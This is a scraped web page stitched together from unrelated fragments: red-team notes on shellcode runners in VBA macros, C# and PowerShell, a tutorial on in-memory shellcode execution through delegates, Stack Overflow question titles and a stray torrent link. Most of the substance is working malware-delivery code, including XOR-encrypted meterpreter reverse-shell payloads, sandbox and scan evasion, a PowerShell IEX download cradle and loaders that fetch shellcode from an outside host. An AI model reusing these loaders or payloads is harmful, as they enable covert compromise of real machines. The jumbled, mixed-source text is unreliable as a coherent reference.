Передать массив значений как аргументы отдельной функции в powershell

An explanation how to map C types to appropriate VBA types manually.

With this approach the shell lives until Word is not closed (no WaitForSingleObject):

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long
  Dim buf As Variant
  Dim tmp As LongPtr
  Dim addr As LongPtr
  Dim counter As Long
  Dim data As Long
  Dim res As Long
  Dim dream As Integer
  Dim before As Date
  ' Check if we're in a sandbox by calling a rare-emulated API
  If IsNull(FlsAlloc(tmp)) Then
  ' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
  dream = Int((1500 * Rnd) + 2000)
  before = Now()
  If DateDiff("s", t, Now()) < dream Then
  ' msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key a
  ' XOR-decrypt the shellcode
  For i = 0 To UBound(buf)
    buf(i) = buf(i) Xor Asc("a")
  ' &H40 = 0x40 = PAGE_EXECUTE_READWRITE
  addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
  For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
  res = CreateThread(0, 0, addr, 0, 0, 0)

Using Add-Type and C#

C data types to C# data types “translation” can be done with P/Invoke APIs (Platform Invocation Services) at www.pinvoke.net (e. g., VirtualAlloc).

    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f ps1

Reflectively using DelegateType (in Memory)

What’s going on here:

  1. lookupFunc 👉🏻 to obtain a reference to the System.dll assembly’s GetModuleHandle and GetProcAddress methods using GetType and GetMethod functions (aka the Reflection technique).

  2. VirtualAlloc 👉🏻 to allocate writable, readable, and executable (unmanaged) memory space in virtual address space of the calling process.

  3. Copy 👉🏻 to copy the shellcode bytes into allocated memory location.

  4. CreateThread 👉🏻 to create a new execution thread in the calling process and execute the shellcode.

  5. WaitForSingleObject 👉🏻 to delay termination of the PowerShell script until the shell fully executes.


# Building a DelegateType (doing it manually to avoid usage of Add-Type)
## create a custom assembly and define the module and type inside
## set up the constructor
## sets up the invoke method
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
## invoke the constructor and return the delegation type
# $VirtualAllocAddr = lookupFunc kernel32.dll VirtualAlloc
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f ps1

In order to run x64 shellcode from a 32-bit application (e. g., MS Word), you may want to specify the path to 64-bit PowerShell binary through Sysnative alias.

C# DLL to Jscript



    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f csharp




Compile to Jscript with DotNetToJScript.exe:

Cmd > .\DotNetToJScript.exe .\ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f raw -o met.bin
$ python SharpShooter.py --dotnetver 4 --stageless --rawscfile met.bin --payload js --output evil

This tool can efficiently be used with HTML Smuggling technique.

C# DLL with PowerShell Cradle (in Memory)



        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);


        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);


            // Check if we're in a sandbox by calling a rare-emulated API

            // Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction





"Charles, get the rifle out. We're being fucked."
            // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key a
            // XOR-decrypt the shellcode




Compile to DLL and load with PowerShell from memory:



Shellcode XOR-encrypt helper for VBA:

# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f vbapplication







PowerShell XOR-encrypt helper for VBA with WMI de-chain:

"powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run.txt')"



"powershell -exec bypass -nop -c IEX

Shellcode XOR-encrypt helper for C# (msfvenom-like output style):

            // msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp
            // XOR-encrypt the shellcode


            //foreach (byte b in buf)


// no "," for the last line

Questions tagged [pinvoke]

P/Invoke is an implementation specification created by Microsoft of the Common Language Infrastructure (CLI) for invocation of native code libraries from managed code.

Low level mouse hook handles mouse scroll in Windows, but not Fallout 4 [duplicate]

Eduard G's user avatar

How do I marshal a C# struct with delegate fields?

lumPalette's user avatar

Interop Delphi dll / C# – bad memory allocation or marshaling

ADM's user avatar

Why would I need `DangerousAddRef`/`DangerousRelease` around `DangerousGetHandle`?

Matt Tsōnto's user avatar

PInvoke memory management: strings inside structs passed by reference

Hottemax's user avatar

Move top menu from a hosted program to the main wpf app

Enric's user avatar

Force release of a file/device locked to current process

komodosp's user avatar

DllImport not executing functions in library but no error codes [closed]

Iridium's user avatar

Distribute DLLs in Nuget

Martin's user avatar

How to marshal a struct with a nested array of structs when using P/Invoke C#

Z A's user avatar

CsWin32 how to create an instance of PWSTR for e.g. GetWindowText

me.at.coding's user avatar

.NET app call unmanged DLL, parameters contains strange characters

alancc's user avatar

Working with errno in a cross-platform way in .NET

Dark Daskin's user avatar

Direct2D Clear/DrawBitmap Throwing Exception

DaFuze's user avatar

How to send a WM_IME_REQUEST message from C#

Simon Verbeke's user avatar

Since it’s release in 2006, PowerShell has become a popular language to develop offensive security tools.

PowerShell functionality is implemented by the System.Management.Automation.dll, which the powershell.exe executable acts as an interface.

Much of the utility of PowerShell is in it’s ability to execute .NET code within a PowerShell session. In turn, this .NET code can execute native Win32 functions by using System.Runtime.InteropServices.


Executing Code with Add-Type

For instance, the below example executes the Win32 WinExec function by importing .NET code with the Add-Type keyword. The .NET code in turn uses System.Runtime.InteropServices to interact with the Win32 API.

$win32 = @"

using System;
using System.Runtime.InteropServices;

public class Kernel32 {
[DllImport("kernel32.dll")]
public static extern uint WinExec(string lpCmdLine, uint uCmdShow);
}
"@

Add-Type $win32
[Kernel32]::WinExec("C:\Windows\System32\calc.exe",[uint32]0)

Передать массив значений как аргументы отдельной функции в powershell

.NET Application Domains

In .NET we can dynamically lookup pointers to functions, in a similar manner to how we did in a previous article using GetProcAddress. To do this, we can iterate through the available .NET assemblies filtering on methods that are both static, and “Unsafe”.

.NET Application Domains provide an isolated region in which code runs inside of a process. The AppDomain.GetAssemblies method can be used to determine the loaded assemblies in an application domain.

PS C:\Users\user\Desktop> [AppDomain]::CurrentDomain.GetAssemblies()

GAC    Version        Location
---    -------        --------
True   v4.0.30319     C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
True   v4.0.30319     C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll
True   v4.0.30319     C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
True   v4.0.30319     C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
True   v4.0.30319     C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
...

Exploring .NET Objects

Using the PowerShellCook Show-Object cmdlet we can graphically explore the objects to find one that satisfy our criteria, of being static and marked as “Unsafe”. The Show-Object cmdlet can be installed with;

Install-Module -Name PowerShellCookbook -Force

The GetTypes() method can be used to get an array of classes defined in a module. This can be piped into Show-Object.

[AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object {$_.GetTypes()}  | Show-Object
Передать массив значений как аргументы отдельной функции в powershell

Retrieving Module Base Addresses

Function Get-FunctionAddress {
    # Get the base address of a module using GetModuleHandle and the function address using GetProcAddress.

    param(
        [string]$ModuleName,
        [string]$MethodName
    )

    Write-Host "Looking up $ModuleName $MethodName"

    # Get a handle to System.dll
    $system = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -like '*System.dll'
    # Get access to the type object representing the Microsoft.Win32.UnsafeNativeMethods type
    $unsafe = $system.GetType('Microsoft.Win32.UnsafeNativeMethods')

    # Use GetModuleHandle to get the address of a dll
    $GetModuleHandle = $unsafe.GetMethod('GetModuleHandle').Invoke($null, @($ModuleName))
    Write-Host "Kernel32.dll base address: 0x$($GetModuleHandle.ToString("X"))"
    # Use GetProcAddress to find the first instance of our function
    $GetProcAddress = $unsafe.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' } | Select-Object -First 1
    $FunctionAddress = $GetProcAddress.Invoke($null, @($GetModuleHandle, "$MethodName"))
    return $FunctionAddress
}

$FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "WinExec"
Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"

Running this, we can see that it’s successfully resolving the address of WinExec.

Looking up kernel32.dll WinExec
Kernel32.dll base address: 0x7FFD58ED0000
Function address: 0x7FFD58F36200

We can verify the module base address using Sysinternal Process Explorer:

Передать массив значений как аргументы отдельной функции в powershell

Delegates

At this point, we can retrieve the pointers for arbitrary functions. To call these functions, we need to use a delegate.

A delegate is an object that represents a method. It can be used invoke code where the details to invoke it arn’t known until runtime. Below is an example of using a delegate to invoke a MessageBox from PowerShell.

# Add the necessary .NET assembly for Windows Forms
Add-Type -AssemblyName System.Windows.Forms

# Define a script block for the delegate
$showMessageBoxDelegate = {
    param($message, $title, $buttons, $icon)
    [System.Windows.Forms.MessageBox]::Show($message, $title, $buttons, $icon)
}

# Create a delegate from the script block
$delegate = [System.Management.Automation.ScriptBlock]::Create($showMessageBoxDelegate)

# Use the delegate to show a MessageBox
$message = "Hello, from Bordergate!"
$title = "MessageBox"
$buttons = [System.Windows.Forms.MessageBoxButtons]::OK
$icon = [System.Windows.Forms.MessageBoxIcon]::Information

$delegate.Invoke($message, $title, $buttons, $icon)

GetDelegateForFunctionPointer

We can pass the function pointers to GetDelegateForFunctionPointer to execute unmanaged code from PowerShell. This requires knowing the methods signature. A method signature is just the arguments to be supplied and the argument data types. For the WinExec function, we can find these details on the PInvoke website:

[DllImport("kernel32.dll")]
static extern uint WinExec(string lpCmdLine, uint uCmdShow);

A delegate can be used to define a method signature with the details from the PInvoke description.
The below code dynamically resolves the WinExec addresses and defines and instantiates a delegate associated with the function, ultimately executing our WinExec call.

Remove-Variable * -ErrorAction SilentlyContinue


Function Get-FunctionAddress {
    param(
        [string]$ModuleName,
        [string]$MethodName
    )

    Write-Host "Looking up $ModuleName $MethodName"

    # Get a handle to System.dll
    $system = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -like '*System.dll'
    # Get access to the type object representing the Microsoft.Win32.UnsafeNativeMethods type
    $unsafe = $system.GetType('Microsoft.Win32.UnsafeNativeMethods')
    # Use GetModuleHandle to get the address of a dll
    $GetModuleHandle = $unsafe.GetMethod('GetModuleHandle').Invoke($null, @($ModuleName))
    Write-Host "Kernel32.dll base address: 0x$($GetModuleHandle.ToString("X"))"
    # Use GetProcAddress to find the first instance of our function
    $GetProcAddress = $unsafe.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' } | Select-Object -First 1
    $FunctionAddress = $GetProcAddress.Invoke($null, @($GetModuleHandle, "$MethodName"))
    Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"

    return $FunctionAddress
}


Function Execute-Function{

    param(
        [IntPtr]$FunctionAddress
    )

    # Create a new delegate type called BordergateDelegate
    $MyAssembly = New-Object System.Reflection.AssemblyName('BordergateDelegate')
 
    # Set access mode to run to ensure it's executable
    $Domain = [AppDomain]::CurrentDomain
    $MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,[System.Reflection.Emit.AssemblyBuilderAccess]::Run)

    # Ensure the C# isn't saved to disk
    $MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    # WinExec only takes a string as a function parmeter
    $MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, @([String]))
    $MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',[int], @([string]))
    $MyMethodBuilder.SetImplementationFlags('Runtime, Managed')
    $MyDelegateType = $MyTypeBuilder.CreateType()
    $TargetFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FunctionAddress, $MyDelegateType)
    $TargetFunction.Invoke("C:\Windows\System32\calc.exe")
}


$FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "WinExec"
Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"
Execute-Function -FunctionAddress $FunctionAddress

Executing Shellcode

Whilst the above example does demonstrate invoking code in memory, it’s not particularly useful. For a more complex example, let’s look at a shellcode runner. The below code shows a basic shellcode runner using Add-Type (which will touch disk).

$Kernel32 = @"
 
using System;
using System.Runtime.InteropServices;
 
public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
 
Add-Type $Kernel32

#msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.127 LPORT=4444 EXITFUNC=thread -f raw  -o shellcode.raw
$response = Invoke-WebRequest -URI http://192.168.1.127/shellcode.raw -Method GET
[byte[]] $buf = $response.Content -as [byte[]]
	
read-host “Press ENTER to continue...”

# Get the size of the shellcode
$size = $buf.Length

# Allocate memory for the shellcode
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);

# Copy the shellcode to the allocated memory
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)

# Create a thread to execute the shellcode
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);

# Wait for the thread to finish
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

In Memory Shellcode Execution

We can convert the above code using the functions we previously created to execute the code in memory;

Remove-Variable * -ErrorAction SilentlyContinue


Function Get-FunctionAddress {
    param(
        [string]$ModuleName,
        [string]$MethodName
    )

    Write-Host "Looking up $ModuleName $MethodName"

    # Get a handle to System.dll
    $system = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -like '*System.dll'
    # Get access to the type object representing the Microsoft.Win32.UnsafeNativeMethods type
    $unsafe = $system.GetType('Microsoft.Win32.UnsafeNativeMethods')

    # Use GetModuleHandle to get the address of a dll
    $GetModuleHandle = $unsafe.GetMethod('GetModuleHandle').Invoke($null, @($ModuleName))
    Write-Host "Kernel32.dll base address: 0x$($GetModuleHandle.ToString("X"))"
    # Use GetProcAddress to find the first instance of our function
    $GetProcAddress = $unsafe.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' } | Select-Object -First 1
    $FunctionAddress = $GetProcAddress.Invoke($null, @($GetModuleHandle, "$MethodName"))
    #Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"

    return $FunctionAddress
}


Function Execute-Function{

    param(
        [IntPtr]$FunctionAddress,
        $Signature = [void],
        $Arguments = [void]
    )

    # Create a new delegate type called MyAssembly
    $MyAssembly = New-Object System.Reflection.AssemblyName('BordergateDelegate')
 
    # Set access mode to run to ensure it's executable
    $Domain = [AppDomain]::CurrentDomain
    $MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,[System.Reflection.Emit.AssemblyBuilderAccess]::Run)

    # Ensure the C# isn't saved to disk
    $MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    # WinExec only takes a string as a function parmeter
    $MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Signature)
    $MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')

    # IntPtr = return type. $Signature = method signature
    $MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',[IntPtr], $Signature)
    $MyMethodBuilder.SetImplementationFlags('Runtime, Managed')

    $MyDelegateType = $MyTypeBuilder.CreateType()
    $TargetFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FunctionAddress, $MyDelegateType)
    return $TargetFunction
}

#msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.127 LPORT=4444 EXITFUNC=thread -f raw  -o shellcode.raw
$response = Invoke-WebRequest -URI http://192.168.1.127/shellcode.raw -Method GET
[byte[]] $buf = $response.Content -as [byte[]]

$FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "VirtualAlloc"
Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"
$VirtualAlloc = Execute-Function -FunctionAddress $FunctionAddress -Signature ([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) # -Parameters ([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

$TargetBuffer = $VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
Write-Host "Buffer address: 0x$($TargetBuffer.ToString("X"))"

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $TargetBuffer, $buf.length)

$FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "CreateThread"
$CreateThread = Execute-Function -FunctionAddress $FunctionAddress -Signature ([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])
$CreateThread.Invoke([IntPtr]::Zero,0,$TargetBuffer,[IntPtr]::Zero,0,[IntPtr]::Zero)

In Conclusion

Hard to tell without having complete information but using MessageBoxA as example you can always use .Invoke from PSMethod to bind the array of arguments:

Add-Type '
using System;
using System.Runtime.InteropServices;

public class Testing
{
    [DllImport("user32.dll")]
    public static extern int MessageBoxA(
        IntPtr hWnd,
        string lpText,
        string lpCaption,
        uint uType);
}'

function CallWin32API {
    param(
        [array] $Arguments
    )

    [Testing]::MessageBoxA.Invoke($Arguments)
}

CallWin32API @([IntPtr]::Zero, 'Hello World', 'This is My MessageBox', 0)

using namespace System.Runtime.InteropServices
using namespace System.Linq.Expressions
using namespace System.Reflection

$lib = [NativeLibrary]::Load('user32')
$functionPtr = [NativeLibrary]::GetExport($lib, 'MessageBoxA')
$customDelegate = [Delegate]::CreateDelegate(
    [Func[Type[], Type]],
    [Expression].Assembly.GetType('System.Linq.Expressions.Compiler.DelegateHelpers').
        GetMethod('MakeNewCustomDelegate', [BindingFlags] 'NonPublic, Static'))

$customDelegateType = [IntPtr], [string], [string], [uint], [int]
$delegate = [Marshal]::GetDelegateForFunctionPointer(
    $functionPtr,
    $customDelegate.Invoke($customDelegateType))

$arguments = [IntPtr]::Zero, 'Hello World', 'This is My MessageBox', 0
$delegate.Invoke.Invoke($arguments)
:/>  Windows 10 Home SL 14291 (x64) RU STORE by Lopatkin (2016) Rus » Скачать Windows через торрент

Оставьте комментарий